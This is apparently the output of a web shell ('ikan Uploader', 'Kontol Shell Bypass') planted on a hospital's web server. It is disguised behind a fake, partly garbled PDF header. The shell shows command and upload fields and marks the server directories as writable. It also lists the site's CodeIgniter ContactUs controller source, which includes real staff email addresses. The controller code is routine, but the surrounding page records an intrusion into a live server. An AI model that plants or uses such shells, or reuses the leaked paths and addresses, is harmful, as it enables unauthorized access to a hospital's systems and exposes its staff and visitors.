%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/hbackup/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/hbackup/application/controllers/ContactUs.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class ContactUs extends CI_Controller {

	/**
	 * Index Page for this controller.
	 *
	 * Maps to the following URL
	 * 		http://example.com/index.php/welcome
	 *	- or -
	 * 		http://example.com/index.php/welcome/index
	 *	- or -
	 * Since this controller is set as the default controller in
	 * config/routes.php, it's displayed at http://example.com/
	 *
	 * So any other public methods not prefixed with an underscore will
	 * map to /index.php/welcome/<method_name>
	 * @see https://codeigniter.com/user_guide/general/urls.html
	 */
	
	function __construct() {
        parent::__construct();
        
        $this->load->model('contact_us_model', 'contact');
        $this->load->model('department_model', 'department');
        
    }
	
	public function index()
	{
	    $data = array();
	    $success = '';
	    
	    $post=$this->input->post();
	    
	    if($post){
	    
	    	if($post['ContactSource']==''){
	         
				$this->form_validation->set_rules('ContactFirstName', 'First Name', 'required|trim|alpha_numeric_spaces');
			
				$this->form_validation->set_rules('ContactLastName', 'Last Name', 'trim|alpha_numeric_spaces');
			
				$this->form_validation->set_rules('ContactEmail', 'Email ID', 'trim|required|valid_email');
			
				$this->form_validation->set_rules('ContactPhone', 'Contact Number', 'trim|alpha_numeric_spaces');
			
				$this->form_validation->set_rules('ContactSubject', 'Subject', 'trim');
			
				$this->form_validation->set_rules('ContactMessage', 'Message', 'trim|required|htmlspecialchars');
			
				$this->form_validation->set_rules('ContactLocation', 'City', 'trim|alpha_numeric_spaces');
			
			
				if ($this->form_validation->run() == FALSE)
				{
						$error = $this->form_validation->error_array();
						$error_msg = implode('\n',$error);
					
						$_SESSION['submit_status_msg'] = 'Your Request could not be submitted:\n'.$error_msg;
					
						redirect(base_url().'ContactUs'); 
					
				}
				else{
				
					$insert_data = array(
						'ContactFirstName' => $post['ContactFirstName'],
						'ContactLastName' => $post['ContactLastName'],
						'ContactEmail' => $post['ContactEmail'],
						'ContactPhone' => $post['ContactPhone'],
						'ContactSubject' => $post['ContactSubject'],
						'ContactMessage' => $post['ContactMessage'],
						'ContactLocation' => $post['ContactLocation'],
				   
					);
					
					$success = $this->contact->insert_entry($insert_data);
				
					if($success&&($success!='')){
					
						$_SESSION['submit_status_msg'] = "Thankyou for contacting us. We will revert to you soon!";
						
						$data = $this->contact->get_entry($success);
						
						$msg = $this->load->view("email_templates/contactus_entry", $data, TRUE);
						
//						send_email_multiple("shruti.maheshwari@sharda.ac.in","", "", "digital.marketing@shardahospital.org", "Contact Us Form Entry", $msg);
						
						send_email_multiple("abdesh@futuretechin.com","marketing@shardahospital.org", "", "digital.marketing@shardahospital.org", "Contact Us Form Entry", $msg);
					
					}
					else{
					
						echo '<script>alert("Unable to submit your request. Kindly try again later.");</script>';
			
					}
				
				}	
				
			}
            
            redirect(base_url());
	
	    }
		
	    $seoArray = getdynamicseo($this->uri->segment(1));
		
	    $data['page_title'] = $seoArray->SEOTitle!='' ? $seoArray->SEOTitle : 'Contact Us|Sharda Hospital';
	    $data['page_description'] = $seoArray->SEODescription!='' ? $seoArray->SEODescription : 'Contact Us|Sharda Hospital';
	    $data['page_keyword'] = $seoArray->SEOKeywords!='' ? $seoArray->SEOKeywords : 'Contact Us|Sharda Hospital';	

	   // $data['page_title'] = 'Contact Us|Sharda Hospital';
	    
	     //To be used in header forms
		$data['departments_list']=$this->department->get_department_list( 'DepartmentType ASC', 'A');
		
		$data['coes'] = $this->department->get_departments_summary('',array('COE'));
	    
        $this->load->view('contact_us',$data);
	}
	
	
	public function emergency(){
	
		$data = array();
	
		$data['page_title'] = '24 Hour Service|Sharda Hospital';
	    
	     //To be used in header forms
		$data['departments_list']=$this->department->get_department_list( 'DepartmentType ASC', 'A');
		
		$data['coes'] = $this->department->get_departments_summary('',array('COE'));
	    
        $this->load->view('24hour_service',$data);
	
	}
	
	/*
	* Function : vanbooking
	*/
	public function vanbooking()
	{
		$data = array();
	    $success = '';
	    $post=$this->input->post();
	    if($post){
			
	    	if($post['submit']=='Book Now'){
				
	    		$this->form_validation->set_rules('club_name', 'Club Name', 'required|trim');
	    		$this->form_validation->set_rules('camp_site_name', 'Camp Site Name', 'required|trim');
				$this->form_validation->set_rules('contact_person', 'Contact Person Name', 'required|trim');
				$this->form_validation->set_rules('email_id', 'Email ID', 'trim|required|valid_email');
				$this->form_validation->set_rules('expected_no', 'Expected No', 'trim|alpha_numeric_spaces');
				$this->form_validation->set_rules('booking_date', 'Booking Date', 'required|trim');
				$this->form_validation->set_rules('contact_no', 'Contact Number', 'trim|alpha_numeric_spaces');
				$this->form_validation->set_rules('road_condition', 'Road Condition', 'required|trim');
				$this->form_validation->set_rules('distance_from_shospital', 'Distance from Sharda Hospital', 'required|trim');
				if ($this->form_validation->run() == FALSE)
				{
					
						$error = $this->form_validation->error_array();
						$error_msg = implode('\n',$error);
						$_SESSION['submit_status_msg'] = 'Your Request could not be submitted:\n'.$error_msg;
						
					
				}
				else {
					$totalRows = $this->contact->getallrecords();
					$totalRecords = count($totalRows)+1;
					$booking_id = 'SHAMV'.date('Y').$this->generateRandomNumber().$totalRecords;
					if($post['id']>0) {
						$updateParams = array();
						$updateParams = array(
							'club_name'=> $post['club_name'],
							'booking_id'=> $booking_id,
							'contact_person'=> $post['contact_person'],
							'email_id'=> $post['email_id'],
							'road_condition'=> $post['road_condition'],
							'expected_no'=> $post['expected_no'],
							'booking_date'=> date('Y-m-d',strtotime($post['booking_date'])),
							'camp_site_name'=> $post['camp_site_name'],
							'distance_from_shospital'=>	$post['distance_from_shospital'],
							'contact_no'=> $post['contact_no'],
							'client_id'=> $this->get_client_ip(),
							'alternate_contact_no'=> $post['alternate_contact_no'],
							'agree'=> $post['agree'],
							'booking_amount'=> '10000',
							'full_address'=> $post['full_address'],
							'city'=> $post['city'],
							'state'=> $post['state'],
							'pincode'=> $post['pincode'],
							'country'=> 'India',
							'display_order'=> $post['display_order'],
							'status'=> '1'
						);
						$resp = $this->contact->updatebooking($updateParams, $post['id']);
						$success =  $post['id'];						
					} else {
						$insert_data = array();
						$insert_data = array(
							'club_name'=> $post['club_name'],
							'booking_id'=> $booking_id,
							'contact_person'=> $post['contact_person'],
							'email_id'=> $post['email_id'],
							'road_condition'=> $post['road_condition'],
							'expected_no'=> $post['expected_no'],
							'booking_date'=> date('Y-m-d',strtotime($post['booking_date'])),
							'camp_site_name'=> $post['camp_site_name'],
							'distance_from_shospital'=>	$post['distance_from_shospital'],
							'contact_no'=> $post['contact_no'],
							'client_id'=> $this->get_client_ip(),
							'alternate_contact_no'=> $post['alternate_contact_no'],
							'agree'=> $post['agree'],
							'booking_amount'=> '10000',
							'full_address'=> $post['full_address'],
							'city'=> $post['city'],
							'state'=> $post['state'],
							'pincode'=> $post['pincode'],
							'country'=> 'India',
							'display_order'=> $post['display_order'],
							'status'=> '1'
						);
						$success = $this->contact->savebooking($insert_data);
					}
					$resp = base64_encode($success);
					redirect(base_url('van-booking/review-booking?resp='.$resp)); 
				}
			}
		}
		
		$lasttrans = base64_decode($_GET['resp']);
		if($lasttrans>0){
			$orderDetails = $this->contact->getallrecords('*',array('id'=>$lasttrans));
			$_POST = $orderDetails[0];
		}
		$this->load->view('booking',$data);
	}
	
	/*
	* Function : reviewbooking
	*/
	public function reviewbooking()
	{
		$data = array();
		$lasttrans = base64_decode($_GET['resp']);
		if($lasttrans>0){
			$orderDetails = $this->contact->getallrecords('*',array('id'=>$lasttrans));
			$data['orderDetails'] = $orderDetails[0];
			$data['OrderItemID'] = date('Y').$this->generateRandomNumber().time();
			$this->load->view('reviewbooking',$data);
		} else {
			redirect(base_url('van-booking'));	
		}
	}
	
	function generateRandomNumber($size = 6)
	{
		$random_number='';
		$count=0;
		while ($count < $size ) 
			{
				$random_digit = mt_rand(0, 9);
				$random_number .= $random_digit;
				$count++;
			}
		return $random_number;  
	}
	
	/*
	* Get Client IP Address
	*/
	function get_client_ip() {
		$ipaddress = '';
		if (isset($_SERVER['HTTP_CLIENT_IP']))
			$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
		else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
			$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
		else if(isset($_SERVER['HTTP_X_FORWARDED']))
			$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
		else if(isset($_SERVER['HTTP_FORWARDED_FOR']))
			$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
		else if(isset($_SERVER['HTTP_FORWARDED']))
			$ipaddress = $_SERVER['HTTP_FORWARDED'];
		else if(isset($_SERVER['REMOTE_ADDR']))
			$ipaddress = $_SERVER['REMOTE_ADDR'];
		else
			$ipaddress = 'UNKNOWN';
		return $ipaddress;
	}

}

Kontol Shell Bypass